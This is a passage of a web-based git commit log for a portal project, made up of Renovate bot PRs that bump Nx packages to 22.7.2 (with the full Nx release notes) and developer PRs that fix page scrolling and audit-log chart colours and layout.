| [@nx/playwright](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/playwright)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fplaywright/22.7.1/22.7.2) |
| [@nx/vite](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/vite)) | dependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fvite/22.7.1/22.7.2) |
| [@nx/vitest](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/vitest)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fvitest/22.7.1/22.7.2) |
| [@nx/web](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/web)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fweb/22.7.1/22.7.2) |
| [@nx/webpack](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/webpack)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fwebpack/22.7.1/22.7.2) |
| [nx](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/nx)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/nx/22.7.1/22.7.2) |

---

### Release Notes

<details>
<summary>nrwl/nx (@&#8203;nx/devkit)</summary>

### [`v22.7.2`](https://github.com/nrwl/nx/releases/tag/22.7.2)

[Compare Source](https://github.com/nrwl/nx/compare/22.7.1...22.7.2)

##### 22.7.2 (2026-05-14)

##### 🚀 Features

- **gradle:** stream batch task results to nx as they finish ([#&#8203;35487](https://github.com/nrwl/nx/pull/35487))
- **nx-dev:** track docs analytics for code copy, LLM prompt, YouTube ([#&#8203;35526](https://github.com/nrwl/nx/pull/35526))
- **testing:** add migration for Jest 30 snapshot guide link ([#&#8203;35629](https://github.com/nrwl/nx/pull/35629))

##### 🩹 Fixes

- **angular:** disable vitest watch by default ([#&#8203;35493](https://github.com/nrwl/nx/pull/35493))
- **angular-rspack:** keep root-scoped assets out of per-locale i18n emit ([#&#8203;35621](https://github.com/nrwl/nx/pull/35621))
- **bundling:** include tsconfig solution input for rollup ([#&#8203;35476](https://github.com/nrwl/nx/pull/35476))
- **bundling:** include tsconfig solution input for webpack ([#&#8203;35477](https://github.com/nrwl/nx/pull/35477), [#&#8203;35476](https://github.com/nrwl/nx/issues/35476))
- **core:** bump axios to 1.16.0 for all packages ([#&#8203;35568](https://github.com/nrwl/nx/pull/35568))
- **core:** add provenance check in nx console status path ([#&#8203;35485](https://github.com/nrwl/nx/pull/35485))
- **core:** remove access control header from graph app ([#&#8203;35494](https://github.com/nrwl/nx/pull/35494))
- **core:** ensure verbose logs go to stderr and daemon logs are properly decorated ([#&#8203;34358](https://github.com/nrwl/nx/pull/34358))
- **core:** show flaky-task count in run summary ([#&#8203;35491](https://github.com/nrwl/nx/pull/35491))
- **core:** unique telemetry user\_id; expose workspace\_id dimension ([#&#8203;35553](https://github.com/nrwl/nx/pull/35553))
- **core:** update minimatch to 10.2.5 ([#&#8203;35569](https://github.com/nrwl/nx/pull/35569), [#&#8203;34660](https://github.com/nrwl/nx/issues/34660))
- **core:** restore use-legacy-versioning shim for [@&#8203;nx/js](https://github.com/nx/js)[@&#8203;21](https://github.com/21) ensurePackage path ([#&#8203;35574](https://github.com/nrwl/nx/pull/35574))
- **core:** isolate NX\_PARALLEL env var in parallel-related specs ([#&#8203;35579](https://github.com/nrwl/nx/pull/35579))
- **core:** skip handleimport miss path when nx key packages are absent ([#&#8203;35596](https://github.com/nrwl/nx/pull/35596))
- **core:** use gethostuuid(3) instead of ioreg on macOS ([#&#8203;35599](https://github.com/nrwl/nx/pull/35599))
- **core:** isolate cache env vars in splitArgs spec ([#&#8203;35584](https://github.com/nrwl/nx/pull/35584))
- **core:** enable node's native v8 compile cache support ([#&#8203;35415](https://github.com/nrwl/nx/pull/35415), [#&#8203;20454](https://github.com/nrwl/nx/issues/20454))
- **core:** support skipped batch tasks end-to-end and fix TUI double logs ([#&#8203;35617](https://github.com/nrwl/nx/pull/35617))
- **core:** keep TUI task selection on the in-progress section ([#&#8203;35640](https://github.com/nrwl/nx/pull/35640))
- **core:** allow `nx mcp` to run outside of an Nx workspace ([#&#8203;35655](https://github.com/nrwl/nx/pull/35655))
- **core:** cast perf entries to PerformanceMeasure for detail access ([43c0c821ba](https://github.com/nrwl/nx/commit/43c0c821ba))
- **devkit:** exclude dist from jest module path scan ([#&#8203;35615](https://github.com/nrwl/nx/pull/35615))
- **devkit:** expand @&#8203;nx/devkit/internal re-exports for cherry-picked v23 deep-import migration ([#&#8203;35541](https://github.com/nrwl/nx/issues/35541))
- **dotnet:** correct output paths for Web SDK and centralized dist setups ([#&#8203;35398](https://github.com/nrwl/nx/pull/35398))
- **gradle:** exclude batch-runner from jest haste-map crawl ([#&#8203;35501](https://github.com/nrwl/nx/pull/35501))
- **gradle:** exclude project-graph from jest module path scan ([#&#8203;35609](https://github.com/nrwl/nx/pull/35609))
- **gradle:** support Windows file paths ([#&#8203;35184](https://github.com/nrwl/nx/pull/35184), [#&#8203;34987](https://github.com/nrwl/nx/issues/34987))
- **js:** strip glob from inferred outputs before resolving as path ([#&#8203;35463](https://github.com/nrwl/nx/pull/35463), [#&#8203;35452](https://github.com/nrwl/nx/issues/35452))
- **js:** reference vitest.config in eslint dep-checks for vitest libs ([#&#8203;35460](https://github.com/nrwl/nx/pull/35460), [#&#8203;33670](https://github.com/nrwl/nx/issues/33670), [#&#8203;35450](https://github.com/nrwl/nx/issues/35450))
- **js:** include transitive workspace deps in pruned pnpm lockfile ([#&#8203;35532](https://github.com/nrwl/nx/pull/35532), [#&#8203;35347](https://github.com/nrwl/nx/issues/35347), [#&#8203;34655](https://github.com/nrwl/nx/issues/34655))
- **linter:** prevent ENOENT crash in getRelativeImportPath for unresolvable paths ([#&#8203;35007](https://github.com/nrwl/nx/pull/35007), [#&#8203;13872](https://github.com/nrwl/nx/issues/13872), [#&#8203;34066](https://github.com/nrwl/nx/issues/34066), [#&#8203;30491](https://github.com/nrwl/nx/issues/30491), [#&#8203;16716](https://github.com/nrwl/nx/issues/16716), [#&#8203;35006](https://github.com/nrwl/nx/issues/35006), [#&#8203;21889](https://github.com/nrwl/nx/issues/21889), [#&#8203;32190](https://github.com/nrwl/nx/issues/32190))
- **maven:** skip attached artifacts that fail to materialize in batch record ([#&#8203;35473](https://github.com/nrwl/nx/pull/35473))
- **maven:** serialize Maven 4 build state recording ([#&#8203;35555](https://github.com/nrwl/nx/pull/35555))
- **maven:** widen runCLI timeout for --no-batch maven.test.ts cases ([#&#8203;35589](https://github.com/nrwl/nx/pull/35589))
- **nx-dev:** document nested CLI subcommands beyond two levels ([#&#8203;35519](https://github.com/nrwl/nx/pull/35519))
- **nx-dev:** short-circuit bot probes in framer rewrite edge function ([#&#8203;35527](https://github.com/nrwl/nx/pull/35527))
- **react:** withSvgr migration preserves other properties ([#&#8203;35484](https://github.com/nrwl/nx/pull/35484))
- **repo:** clear NX\_INVOCATION\_ROOT\_PID in run-native-target to avoid recursion false-positive ([443dee0b22](https://github.com/nrwl/nx/commit/443dee0b22))
- **repo:** revert deep-import rewrites that targeted v23-only @&#8203;nx/devkit/internal entry ([ac8187963d](https://github.com/nrwl/nx/commit/ac8187963d))
- **repo:** unblock 22.7.x cargo tests and nx-build e2e ([#&#8203;34285](https://github.com/nrwl/nx/issues/34285))
- **repo:** expand "..." spread token in graph typecheck inputs ([#&#8203;34285](https://github.com/nrwl/nx/issues/34285), [#&#8203;35458](https://github.com/nrwl/nx/issues/35458))
- **testing:** pin jest to ~30.3.0 to avoid jest-runtime 30.4 RN incompat ([#&#8203;35618](https://github.com/nrwl/nx/pull/35618))
- **testing:** handle absolute cypress screenshotsFolder/videosFolder paths ([#&#8203;35624](https://github.com/nrwl/nx/pull/35624))
- **testing:** exclude dist and out-tsc from default jest module path scan ([#&#8203;35619](https://github.com/nrwl/nx/pull/35619))
- **testing:** update remaining snapshot guide links missed by migration ([cd350c1140](https://github.com/nrwl/nx/commit/cd350c1140))

##### ❤️ Thank You

- Adam Keenan [@&#8203;adamk33n3r](https://github.com/adamk33n3r)
- AgentEnder [@&#8203;AgentEnder](https://github.com/AgentEnder)
- beeman
- Claude
- Craigory Coppola [@&#8203;AgentEnder](https://github.com/AgentEnder)
- FrozenPandaz [@&#8203;FrozenPandaz](https://github.com/FrozenPandaz)
- Jack Hsu [@&#8203;jaysoo](https://github.com/jaysoo)
- Jason Jean [@&#8203;FrozenPandaz](https://github.com/FrozenPandaz)
- Leosvel Pérez Espinosa [@&#8203;leosvelperez](https://github.com/leosvelperez)
- Max Kless
- MaxKless [@&#8203;MaxKless](https://github.com/MaxKless)
- Optischa [@&#8203;Optischa](https://github.com/Optischa)
- Sharon Lougheed

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled because a matching PR was automerged previously.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/179
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-17 22:15:42 +02:00
APF Portal Bot 6b20c3413b fix(deps): update nx to v22.7.2 (#178)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m24s
CI / a11y (push) Successful in 2m6s
CI / check (push) Successful in 6m3s
CI / perf (push) Successful in 6m14s
Docs site / build (push) Successful in 2m49s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@nx/angular](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/angular)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fangular/22.7.1/22.7.2) |
| [@nx/devkit](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/devkit)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fdevkit/22.7.1/22.7.2) |
| [@nx/eslint](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/eslint)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2feslint/22.7.1/22.7.2) |
| [@nx/eslint-plugin](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/eslint-plugin)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2feslint-plugin/22.7.1/22.7.2) |
| [@nx/jest](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/jest)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fjest/22.7.1/22.7.2) |
| [@nx/js](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/js)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fjs/22.7.1/22.7.2) |
| [@nx/nest](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/nest)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fnest/22.7.1/22.7.2) |
| [@nx/node](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/node)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fnode/22.7.1/22.7.2) |
| [@nx/playwright](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/playwright)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fplaywright/22.7.1/22.7.2) |
| [@nx/vite](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/vite)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fvite/22.7.1/22.7.2) |
| [@nx/vite](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/vite)) | dependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fvite/22.7.1/22.7.2) |
| [@nx/vitest](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/vitest)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fvitest/22.7.1/22.7.2) |
| [@nx/web](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/web)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fweb/22.7.1/22.7.2) |
| [@nx/webpack](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/webpack)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fwebpack/22.7.1/22.7.2) |
| [nx](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/nx)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/nx/22.7.1/22.7.2) |

---

### Release Notes

<details>
<summary>nrwl/nx (@&#8203;nx/angular)</summary>

### [`v22.7.2`](https://github.com/nrwl/nx/releases/tag/22.7.2)

[Compare Source](https://github.com/nrwl/nx/compare/22.7.1...22.7.2)

##### 22.7.2 (2026-05-14)

##### 🚀 Features

- **gradle:** stream batch task results to nx as they finish ([#&#8203;35487](https://github.com/nrwl/nx/pull/35487))
- **nx-dev:** track docs analytics for code copy, LLM prompt, YouTube ([#&#8203;35526](https://github.com/nrwl/nx/pull/35526))
- **testing:** add migration for Jest 30 snapshot guide link ([#&#8203;35629](https://github.com/nrwl/nx/pull/35629))

##### 🩹 Fixes

- **angular:** disable vitest watch by default ([#&#8203;35493](https://github.com/nrwl/nx/pull/35493))
- **angular-rspack:** keep root-scoped assets out of per-locale i18n emit ([#&#8203;35621](https://github.com/nrwl/nx/pull/35621))
- **bundling:** include tsconfig solution input for rollup ([#&#8203;35476](https://github.com/nrwl/nx/pull/35476))
- **bundling:** include tsconfig solution input for webpack ([#&#8203;35477](https://github.com/nrwl/nx/pull/35477), [#&#8203;35476](https://github.com/nrwl/nx/issues/35476))
- **core:** bump axios to 1.16.0 for all packages ([#&#8203;35568](https://github.com/nrwl/nx/pull/35568))
- **core:** add provenance check in nx console status path ([#&#8203;35485](https://github.com/nrwl/nx/pull/35485))
- **core:** remove access control header from graph app ([#&#8203;35494](https://github.com/nrwl/nx/pull/35494))
- **core:** ensure verbose logs go to stderr and daemon logs are properly decorated ([#&#8203;34358](https://github.com/nrwl/nx/pull/34358))
- **core:** show flaky-task count in run summary ([#&#8203;35491](https://github.com/nrwl/nx/pull/35491))
- **core:** unique telemetry user\_id; expose workspace\_id dimension ([#&#8203;35553](https://github.com/nrwl/nx/pull/35553))
- **core:** update minimatch to 10.2.5 ([#&#8203;35569](https://github.com/nrwl/nx/pull/35569), [#&#8203;34660](https://github.com/nrwl/nx/issues/34660))
- **core:** restore use-legacy-versioning shim for [@&#8203;nx/js](https://github.com/nx/js)[@&#8203;21](https://github.com/21) ensurePackage path ([#&#8203;35574](https://github.com/nrwl/nx/pull/35574))
- **core:** isolate NX\_PARALLEL env var in parallel-related specs ([#&#8203;35579](https://github.com/nrwl/nx/pull/35579))
- **core:** skip handleimport miss path when nx key packages are absent ([#&#8203;35596](https://github.com/nrwl/nx/pull/35596))
- **core:** use gethostuuid(3) instead of ioreg on macOS ([#&#8203;35599](https://github.com/nrwl/nx/pull/35599))
- **core:** isolate cache env vars in splitArgs spec ([#&#8203;35584](https://github.com/nrwl/nx/pull/35584))
- **core:** enable node's native v8 compile cache support ([#&#8203;35415](https://github.com/nrwl/nx/pull/35415), [#&#8203;20454](https://github.com/nrwl/nx/issues/20454))
- **core:** support skipped batch tasks end-to-end and fix TUI double logs ([#&#8203;35617](https://github.com/nrwl/nx/pull/35617))
- **core:** keep TUI task selection on the in-progress section ([#&#8203;35640](https://github.com/nrwl/nx/pull/35640))
- **core:** allow `nx mcp` to run outside of an Nx workspace ([#&#8203;35655](https://github.com/nrwl/nx/pull/35655))
- **core:** cast perf entries to PerformanceMeasure for detail access ([43c0c821ba](https://github.com/nrwl/nx/commit/43c0c821ba))
- **devkit:** exclude dist from jest module path scan ([#&#8203;35615](https://github.com/nrwl/nx/pull/35615))
- **devkit:** expand @&#8203;nx/devkit/internal re-exports for cherry-picked v23 deep-import migration ([#&#8203;35541](https://github.com/nrwl/nx/issues/35541))
- **dotnet:** correct output paths for Web SDK and centralized dist setups ([#&#8203;35398](https://github.com/nrwl/nx/pull/35398))
- **gradle:** exclude batch-runner from jest haste-map crawl ([#&#8203;35501](https://github.com/nrwl/nx/pull/35501))
- **gradle:** exclude project-graph from jest module path scan ([#&#8203;35609](https://github.com/nrwl/nx/pull/35609))
- **gradle:** support Windows file paths ([#&#8203;35184](https://github.com/nrwl/nx/pull/35184), [#&#8203;34987](https://github.com/nrwl/nx/issues/34987))
- **js:** strip glob from inferred outputs before resolving as path ([#&#8203;35463](https://github.com/nrwl/nx/pull/35463), [#&#8203;35452](https://github.com/nrwl/nx/issues/35452))
- **js:** reference vitest.config in eslint dep-checks for vitest libs ([#&#8203;35460](https://github.com/nrwl/nx/pull/35460), [#&#8203;33670](https://github.com/nrwl/nx/issues/33670), [#&#8203;35450](https://github.com/nrwl/nx/issues/35450))
- **js:** include transitive workspace deps in pruned pnpm lockfile ([#&#8203;35532](https://github.com/nrwl/nx/pull/35532), [#&#8203;35347](https://github.com/nrwl/nx/issues/35347), [#&#8203;34655](https://github.com/nrwl/nx/issues/34655))
- **linter:** prevent ENOENT crash in getRelativeImportPath for unresolvable paths ([#&#8203;35007](https://github.com/nrwl/nx/pull/35007), [#&#8203;13872](https://github.com/nrwl/nx/issues/13872), [#&#8203;34066](https://github.com/nrwl/nx/issues/34066), [#&#8203;30491](https://github.com/nrwl/nx/issues/30491), [#&#8203;16716](https://github.com/nrwl/nx/issues/16716), [#&#8203;35006](https://github.com/nrwl/nx/issues/35006), [#&#8203;21889](https://github.com/nrwl/nx/issues/21889), [#&#8203;32190](https://github.com/nrwl/nx/issues/32190))
- **maven:** skip attached artifacts that fail to materialize in batch record ([#&#8203;35473](https://github.com/nrwl/nx/pull/35473))
- **maven:** serialize Maven 4 build state recording ([#&#8203;35555](https://github.com/nrwl/nx/pull/35555))
- **maven:** widen runCLI timeout for --no-batch maven.test.ts cases ([#&#8203;35589](https://github.com/nrwl/nx/pull/35589))
- **nx-dev:** document nested CLI subcommands beyond two levels ([#&#8203;35519](https://github.com/nrwl/nx/pull/35519))
- **nx-dev:** short-circuit bot probes in framer rewrite edge function ([#&#8203;35527](https://github.com/nrwl/nx/pull/35527))
- **react:** withSvgr migration preserves other properties ([#&#8203;35484](https://github.com/nrwl/nx/pull/35484))
- **repo:** clear NX\_INVOCATION\_ROOT\_PID in run-native-target to avoid recursion false-positive ([443dee0b22](https://github.com/nrwl/nx/commit/443dee0b22))
- **repo:** revert deep-import rewrites that targeted v23-only @&#8203;nx/devkit/internal entry ([ac8187963d](https://github.com/nrwl/nx/commit/ac8187963d))
- **repo:** unblock 22.7.x cargo tests and nx-build e2e ([#&#8203;34285](https://github.com/nrwl/nx/issues/34285))
- **repo:** expand "..." spread token in graph typecheck inputs ([#&#8203;34285](https://github.com/nrwl/nx/issues/34285), [#&#8203;35458](https://github.com/nrwl/nx/issues/35458))
- **testing:** pin jest to ~30.3.0 to avoid jest-runtime 30.4 RN incompat ([#&#8203;35618](https://github.com/nrwl/nx/pull/35618))
- **testing:** handle absolute cypress screenshotsFolder/videosFolder paths ([#&#8203;35624](https://github.com/nrwl/nx/pull/35624))
- **testing:** exclude dist and out-tsc from default jest module path scan ([#&#8203;35619](https://github.com/nrwl/nx/pull/35619))
- **testing:** update remaining snapshot guide links missed by migration ([cd350c1140](https://github.com/nrwl/nx/commit/cd350c1140))

##### ❤️ Thank You

- Adam Keenan [@&#8203;adamk33n3r](https://github.com/adamk33n3r)
- AgentEnder [@&#8203;AgentEnder](https://github.com/AgentEnder)
- beeman
- Claude
- Craigory Coppola [@&#8203;AgentEnder](https://github.com/AgentEnder)
- FrozenPandaz [@&#8203;FrozenPandaz](https://github.com/FrozenPandaz)
- Jack Hsu [@&#8203;jaysoo](https://github.com/jaysoo)
- Jason Jean [@&#8203;FrozenPandaz](https://github.com/FrozenPandaz)
- Leosvel Pérez Espinosa [@&#8203;leosvelperez](https://github.com/leosvelperez)
- Max Kless
- MaxKless [@&#8203;MaxKless](https://github.com/MaxKless)
- Optischa [@&#8203;Optischa](https://github.com/Optischa)
- Sharon Lougheed

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/178
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-17 15:51:56 +02:00
julien b9daaa5f58 fix(portal-shell): same html/body overflow-y hidden shield as admin (#177)
CI / check (push) Successful in 3m55s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m15s
CI / a11y (push) Successful in 1m36s
CI / perf (push) Successful in 5m11s
## Summary

Mirror of #176 onto `portal-shell`. Same one-line shield, same rationale: the two apps share an identical `:host { height: 100vh }` + `<main> overflow-y: auto` layout, so the same defensive `html, body { overflow-y: hidden }` rule belongs on both surfaces. Brings the public-facing shell to the same posture as the admin one — any future layout escape stops at the shell boundary rather than producing a phantom body scrollbar plus an empty band below the footer.

## What lands

`apps/portal-shell/src/styles.css`:

```css
html,
body {
  overflow-y: hidden;
}
```

Same block as #176 with a comment that explicitly cross-references the admin shield so future contributors don't accidentally diverge the two apps.

## Notes for the reviewer

- **Why now, rather than waiting for portal-shell to demonstrate the symptom?** #176's reviewer note said this would land "if/when a layout escape shows up there." The user asked for parity immediately, on the reasoning that the shell contract is the *same* on both apps — the shield is defensive and one-line, so coupling the two posture changes is cheaper than tracking a "TODO once we see it in shell".
- **No new tests.** Same justification as #176 — the change is at the global stylesheet level, has no behavioural surface, and the manual repro path already exists (force a chart or wide element past the viewport; pre-shield → body scrollbar + footer gap; post-shield → clipped at the shell root, `<main>` still scrolls).
- **Element-level scrolling on `<main>` is unaffected.** The skip-link, sidebar, and footer all keep their pinned positions; long routes (the user list, future content pages) scroll inside `<main>` as designed.

## Test plan

- [x] `pnpm nx build portal-shell` — clean.
- [x] `pnpm nx test portal-shell` — green.
- [x] `pnpm nx lint portal-shell` — clean.
- [x] `pnpm nx run-many -t build test lint -p portal-shell,portal-admin` — green (admin and shell share the build cache; touching only one file invalidates only the shell target).
- [ ] **Manual smoke** — `pnpm nx serve portal-shell`:
  - Open `/fr` and `/en`, scroll long pages — `<main>` scrolls, body doesn't.
  - Resize across the breakpoint where the sidebar collapses — body still doesn't scroll; sidebar/footer pin correctly.
  - Toggle dark mode — no visual regression.

## What's next

Nothing pending on this shell-shield front. The two apps are now symmetric; if a third app appears (it won't in v1) the same pattern is documented in both `styles.css` headers.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #177
2026-05-17 02:31:15 +02:00
julien 67e50be1dc fix(portal-admin): html/body overflow-y hidden as a shell shield (#176)
CI / check (push) Successful in 4m43s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m2s
CI / a11y (push) Successful in 2m10s
CI / perf (push) Successful in 3m43s
## Summary

Tiny follow-up to #175 — the bar / donut / stacked-bar charts on the audit-log Charts tab still surfaced a *phantom* body scrollbar plus an empty band below the footer in some viewport widths. The lib-side overflow constraints from #175 hold for the cases tested, but the symptom can re-appear from any future layout escape (a wider downstream component, a third-party iframe, an unforeseen flex bug).

This PR adds a `html, body { overflow-y: hidden }` shield at the global stylesheet so any vertical overflow at the document level — wherever it comes from — stops at the shell boundary instead of producing a phantom scrollbar. Element-level scrolling on `<main>` (the only surface that *should* scroll) is unaffected.

## What lands

`apps/portal-admin/src/styles.css`:

```css
html,
body {
  overflow-y: hidden;
}
```

That's the whole change. The admin shell already commits to the "fills the viewport, never scrolls the body" layout — `<app-root>` is locked at `height: 100vh` and `<main>` owns its own `overflow-y: auto`. Anything that escapes that contract is, by design, a bug to fix at the source. The shield is a safety net, not a load-bearing layout rule.

## Notes for the reviewer

- **Why only portal-admin?** `portal-shell`'s app.scss carries the exact same `height: 100vh` + `<main> overflow-y: auto` shape, so the same shield would make sense there too. Holding it back to a separate PR because portal-shell hasn't actually demonstrated the symptom and the audit-log chantier is the immediate motivation — a one-line shield to the public-facing app deserves its own minute of consideration. Trivial to extend if/when we want symmetry.
- **Why not just delete `height: 100vh` and let the document scroll naturally?** The admin shell deliberately keeps the header, sidebar, and footer pinned while only the content area scrolls — that's a deliberate UX choice for a dense admin surface (long audit-log tables, future CMS editors), not an accident. Keeping the 100vh contract and adding the shield preserves the intent.
- **Manual reproduction of the original symptom** (now fixed): pre-shield, switching to the Charts tab on a 1280×720 viewport produced a body scrollbar with ~12 px of empty space below the footer, even though every visible element was inside `<main>`. Post-shield, the body scrollbar is gone; `<main>`'s internal scrollbar still works for the table page below the fold.

## Test plan

- [x] `pnpm nx build portal-admin` — clean.
- [x] `pnpm nx test portal-admin` — 62 specs pass (no behavioural change).
- [x] `pnpm nx lint portal-admin` — same three pre-existing warnings, no new ones.
- [ ] **Manual smoke** — `pnpm nx serve portal-admin`, sign in with `Portal.Admin`:
  - Navigate to `/admin/audit`, switch to Charts — no body scrollbar, no gap under the footer, charts still render at the column width.
  - Resize the viewport across the `(max-width: 800px)` breakpoint — body still doesn't scroll; `<main>` still does where it should.
  - Open the user-list page (long table) — `<main>` scrolls internally as expected; the shield does *not* prevent legitimate content scrolling.
  - Toggle dark mode — no visual regression.

## What's next

- Mirror the same shield into `apps/portal-shell/src/styles.css` if/when a layout escape shows up there. Tracked in `docs/decisions/0020-portal-admin-app.md` follow-ups.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #176
2026-05-17 01:56:26 +02:00
julien 9e7eb4af15 fix(audit): chart colours + Charts-tab layout regressions (#175)
CI / check (push) Successful in 6m42s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m14s
CI / a11y (push) Successful in 2m38s
CI / perf (push) Successful in 4m33s
## Summary

Follow-up polish on the audit-log Charts tab shipped in #174. Three small but visible regressions surfaced once real data was loaded:

1. **"Events per day" bar chart cycled a categorical palette across the X axis** — every day got a different colour, which read as "categorical meaning per day" when the X axis is just a time bucket. Switched to a single fixed fill (curated blue from the lib palette).
2. **"Outcome breakdown" donut painted slices in Set2 order** — `success` came out teal, `denied` came out orange. With orange = "danger" in most readers' mental model, this is the wrong way around. Added a `colorMap` input on `<lib-donut-chart>` and a curated `semanticStatusColors` export so the audit page can map `success → green`, `denied → orange`, `failure → red`.
3. **Charts tab caused a body scrollbar + empty space below the footer.** Plot renders into a hidden `[hidden]` panel on first switch, so `canvas.clientWidth` is 0 and Plot falls back to its 600/720 default — the resulting fixed-width SVG was wider than the grid column, dragged horizontal overflow up the tree, and (because the grid item defaults to `min-width: auto`) wouldn't shrink. The shell layout broke. Fixed by constraining the chart envelope and the grid items so the SVG can scale down to the actual column width.

## What lands

### Bar chart — single fill, lib-owned default

- `Plot.barY` mark no longer encodes colour from `xKey`. The `fill` parameter is now a literal-string colour, applied uniformly to every bar.
- New `fillColor` input on `<lib-bar-chart>` for the rare case a consumer needs a different shade; defaults to `DEFAULT_BAR_FILL = '#1d4ed8'` (≈ Tailwind blue-700, picked for AA contrast against both light and dark surfaces, colour-blind-safe).
- Removed the now-unused `color: { type: 'ordinal', range: palette }` scale and the `colorScheme` input on the bar chart — the categorical palette only made sense when `fill: xKey` was the default behaviour.

### Donut chart — optional semantic mapping

- New `colorMap?: Readonly<Record<string, string>>` input on `<lib-donut-chart>`. When provided, slice fill resolves to `colorMap[category]` first, falling back to the categorical palette for any unmapped category. Lib still owns the palette per ADR-0023; the map only constrains *which colour the consumer picks for which category*, not what colours exist.
- New `semanticStatusColors` export from `shared-charts` — a curated 5-entry map (`success / warning / error / info / neutral`) tuned for AA contrast and deuteranopia/protanopia distinguishability. Consumers stay inside the lib's palette without authoring their own hex codes.
